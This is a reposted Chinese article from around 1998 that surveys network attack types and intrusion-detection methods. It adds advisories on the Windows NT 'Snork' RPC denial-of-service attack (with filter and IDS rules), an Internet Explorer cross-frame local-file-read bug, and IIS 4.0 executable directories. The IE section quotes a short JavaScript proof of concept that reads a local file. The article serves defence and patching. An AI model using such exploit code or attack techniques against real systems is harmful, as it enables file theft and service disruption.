攻击和攻击检测方法(转载)
攻击
美国IDG Infoworld测试中心小组开发了一种可以称之为Benchmarking类型的测试基准,IWSS16。该小组收集了若干种典型且可以公开得到的攻击方法,对其进行组合,形成IWSS16。IWSS16组合了四种主要类型的攻击手段:
收集信息
网络攻击者经常在正式攻击之前,进行试探性的攻击,目标是获取系统有用的信息,主要手段有PING扫描,端口扫描,帐户扫描,DNS转换等操作。
获取访问权限
以各种手段获取对网络和系统的特权访问,其中,包括许多故障制造攻击,例如,发送邮件故障,远程IMAP缓冲区溢出,FTP故障,等。通过这些攻击造成的故障,暴露系统的安全漏洞,获取访问权限。
拒绝服务(Denial of Service)
DoS是最不容易捕获的攻击,因为它不易留下痕迹,安全管理人员不易确定攻击来源。由于其攻击目标是使系统瘫痪,因此,是很危险的攻击。当然,就防守一方的难度而言,拒绝服务攻击是比较容易防御的攻击类型。这类攻击的特点是以潮水般的申请使系统在迎接不暇的状态中崩溃;除此之外,拒绝服务攻击还可以利用操作系统的弱点,有目标地进行针对性的攻击。
逃避检测
入侵者往往在攻击之后,使用各种逃避检测的手段,使其攻击的行为不留痕迹。典型的特点是修改系统的安全审计记录。然而,魔高一尺,道高一丈,克服逃避检测已成为攻击检测技术的发展研究方向之一。
攻击检测方法
检测隐藏的非法行为
基于审计信息的脱机攻击检测工作,以及自动分析工具,可以向系统安全管理员报告此前一天计算机系统活动的评估报告。
对攻击的实时检测系统的工作原理是基于对用户历史行为的建模以及在早期的证据或者模型的基础。审计系统实时地检测用户对系统的使用情况,根据系统内部保持的用户行为的概率统计模型进行监测,当发现有可疑的用户行为发生时,保持跟踪并监测,记录该用户的行为。
IDES(Intrusion-Detection Expert System),攻击检测专家系统,就是采用基于审计统计数据的技术,它具有一些天生的弱点,因为用户的行为可以是非常复杂的,所以想要准确匹配一个用户的历史行为和当前的行为相当困难。错发的警报往往来自对审计数据的统计算法所基于的不准确或不贴切的假设。
基于神经网络的攻击检测技术
为改进基于统计数据的技术,SRI(Stanford Research Institute,斯坦福研究所)的研究小组利用和发展了神经网络技术来进行攻击检测。
基于专家系统的攻击检测技术
进行安全检测工作自动化的另一个值得重视的研究方向就是,基于专家系统的攻击检测技术,即根据安全专家对可疑行为的分析经验来形成一套推理规则,然后在此基础上构成相应的专家系统。专家系统可以自动进行对所涉及的攻击操作的分析工作。
基于模型推理的攻击检测技术
攻击者在攻击一个系统时,往往采用一定的行为程序,如猜测口令的程序,这种行为程序构成了某种具有一定行为特征的模型,根据这种模型所代表的攻击意图的行为特征,可以实时地检测出恶意的攻击企图。虽然攻击者并不一定都是恶意的。用基于模型的推理方法,人们能够为某些行为建立特定的模型,从而,能够监视具有特定行为特征的某些活动。根据假设的攻击脚本,这种系统就能检测出非法的用户行为。一般为了准确判断,要为不同的攻击者和不同的系统建立特定的攻击脚本。
当有证据表明某种特定的攻击模型发生时,系统应当收集其它证据来证实或者否定其攻击的真实,既不能漏报攻击,对信息系统造成实际的损害,又要尽可能的避免错报。
参考资料
[1] 刘启原,攻击检测技术漫谈,国际电子报,第35期B版,网络世界,1998年9月14日,第B16页
RPC受到Snork拒绝服务攻击
受影响的系统
Windows NT的各个版本
概要
IIS的X-Force研究发现,Windows NT RPC服务在遭遇DoS攻击时,攻击者利用最小的资源使得一台远端的NT系统达到100%的CPU使用率,并可持续任意长的时间。同时,远端的攻击者通过迫使系统进行连续的分组反弹,从而占据较大的带宽。这种攻击与早期发现的"Smurf"和"Fraggle"很相似,故称之为"Snork"攻击。
NT 4.0工作站和服务器均存在这种弱点。事实上,所有的NT系统,包括已经安装过服务包SP1, SP2, SP3, 甚至SP4 RC 1.99,以及安装过所有9/10/98以前的补包,均存在这种弱点。解决的办法的信息在下面提供。
建议的解决方案
微软已经做了一个补包程序,专门对付"Snork"攻击。补包的信息可见于微软的安全公告牌:
网络管理员可以在包过滤的路由器或者防火墙上,增加一条规则,以保护内部的系统,防止来自外部的攻击:
拒绝所有的这类进入的UDP包,目的端口是135,源端口是7,19,或者135。大多数防火墙或者包过滤器已经设置了很多严格的规则,已覆盖了这条过滤规则,已具备预防来自外部的"Snork"攻击的能力。这些防火墙过滤所有的通向UDP端口135的进入包。然而,有一些NT的应用程序,它们依靠UDP135端口进行合法的通讯。在这种情况下,建议你安装微软的补包。
网络攻击检测系统的管理员,包括ISS的RealSecure,可以立即检测到所管辖网络域的"Snork"攻击,只要加入一条过滤规则,来检测具有如下特征的网络活动:
Name: Snork
Protocol: UDP
Source Address: Any
Source Port: 135 (additional rules for ports 7 & 19 if desired)
Destination Address: Any
Destination Port: 135
在你的网络上,也许有第三方软件需要使用UDP135口与NT的RPC服务进行通讯。如果真是这样,你一定要在那些原始地址的系统上(需要135口通讯),实施上述的规则,指定来自这些系统的通讯可以通过防火墙,或者,可以被攻击检测系统所忽略,以便维持那些应用程序的正常连接。
描述
在X-Force实验室的测试中,一个单一的UDP包有能力占据NT系统CPU利用率的100%,时间长达5-120秒。进行低带宽连续性的这种攻击,将导致无限期的CPU100%被占有率。这种攻击创建UDP广播包,使它们在一个网络上的所有NT系统之间进行连续不断的包反弹,从而耗尽网络的带宽。在一个小网络上,这种攻击可迅速耗尽所有的可用带宽。在一个空闲的网络上,任意两台空闲的NT系统之间的带宽消耗比率,大约是,224/RTT(round-trip time),在一个10Mbps的以太网上,这个比率可翻译大约3.4Mbps的流量。增加系统的个数,会增加网络流量,冲突会发生,丢包也会发生,被这种攻击所占用的网络带宽回迅速地达到100%。
IE读出本地文件
受影响的版本
Microsoft Internet Explorer 4.0, 4.01, 4.01 SP1 for Windows NT 4.0, Windows 95
Microsoft Windows 98, with Internet Explorer 4.01 SP1
Microsoft Internet Explorer 4.0, 4.01 for Windows 3.1, Windows NT 3.51, Macintosh
Microsoft Internet Explorer 3.x
描述
在Internet Explorer 3, 4.0, 4.01中存在一个Bug,允许特别设计的Web网页读出浏览者计算机上的文本文件或者HTML文件,并且把这些文件发送到指定主机,甚至可以穿越用户端的防火墙。这个Bug使用JavaScript进行编程,并且事先知道文件名和存储位置。另外,这个Bug还允许把特别设计的消息发送给某个 Outlook Express或IE4用户。
根据微软的安全公告板,它允许一名恶意的黑客绕过IE的安全保卫,使恶意的Web站点操作员能够读出你的电脑上的文件内容。微软称这个Bug为交叉帧导航问题(Cross Frame Navigate Vulnerability)。NTSecurity.net也详细报告了这个问题,并且给出了检查mshtm.dll文件是否被感染的详细操作步骤。
下面的代码是一个简单的例子,Georgi Guninski发布于NTBugTraq。
<HTML>
<HEAD><TITLE>Read text/HTML file with Internet Explorer 4.01></TITLE></HEAD>
<BODY>
This demonstrates a bug in IE 4.01 under Windows 95 (don't know for other versions), which allows reading text or HTML file on the user's machine.
<B>Create the file c:\test.txt</B> and its contents are shown in a message box. The file may be sent to an arbitrary server even if behind a firewall.
<BR>
To test it, you need Javascript enabled.
<BR>
This file is created by <A HREF=;
<SCRIPT LANGUAGE="JAVASCRIPT">
alert("This page demonstrates reading the file C:\\test.txt (you may need to create a short file to view it)");
var x=window.open('file://C:/test.txt');
x.navigate("javascript:eval(\"var a=window.open('file://C:/test.txt');r=a.document.body.innerText;alert(r);\")");
</SCRIPT>
</BODY>
</HTML>
解决方法
微软于1998年9月4日发布了补包以解决这个问题。这些补包可以从微软站点下载。微软强烈建议受影响的用户(列在受影响的版本中),应该尽早地下载并且安装这些补包。
对于IE4.xx,这些用户应该从IE的安全站点下载补包,
Windows 98的用户可以通过使用Windows Update的功能来获得补包。
对于IE3的用户,首先应该升级到IE最近的版本,然后再安装IE4的补包。升级信息详见于Internet Explorer的下载站点
详细信息可见于:
微软的安全布告
Internet Explorer的安全站点
微软知识库文章 Q168485
IIS 4.0中的可执行目录
受影响的版本
Internet Information Server 4.0
摘要
如果一个非管理员的用户把可执行的代码放到一个Web站点上的允许文件执行的目录,则那个用户可以运行某种应用程序,损害那台Web服务器。
解决建议
管理员应该验证所有的虚拟HTTP服务器上的已被标成可执行的目录的访问权限。详见下面建议的安全权限。
由于服务器允许在本地执行代码,所有的安全补包应该安装到
描述
下列目录在安装IIS 4.0时,已被缺省地标志成可执行:
/W3SVC/1/ROOT/msadc
/W3SVC/1/ROOT/News
/W3SVC/1/ROOT/Mail
/W3SVC/1/ROOT/cgi-bin
/W3SVC/1/ROOT/SCRIPTS
/W3SVC/1/ROOT/IISADMPWD
/W3SVC/1/ROOT/_vti_bin
/W3SVC/1/ROOT/_vti_bin/_vti_adm
/W3SVC/1/ROOT/_vti_bin/_vti_aut
按缺省安装IIS后,下列的物理驱动器被映像为:
msadc c:\program files\common\system\msadc
News c:\InetPub\News
Mail c:\InetPub\Mail
cgi-bin c:\InetPub\
SCRIPTS c:\InetPub\scripts
IISADMPWD C:\WINNT\System32\inetsrv\iisadmpwd
_vti_bin Not present by default - installed with FrontPage extensions
要访问这些物理目录,可以通过这些方法进行:目录共享,远程命令(如 rcmd, telnet, remote.exe等),访问权限应该是:
Administrator, LocalSystem: Full Control (完全控制)
Everyone: Special Access(X) (特别访问)
管理员应该严格检查所有能够访问文件系统的路径,对所有那些允许文件执行的Web目录保持警觉。另外,如果一个用户被授权允许管理他自己的站点,他们可能有权利设置一个目录为可执行。这时,管理员应该只允许那些允许的文件类型可以复制到真正的Web站点。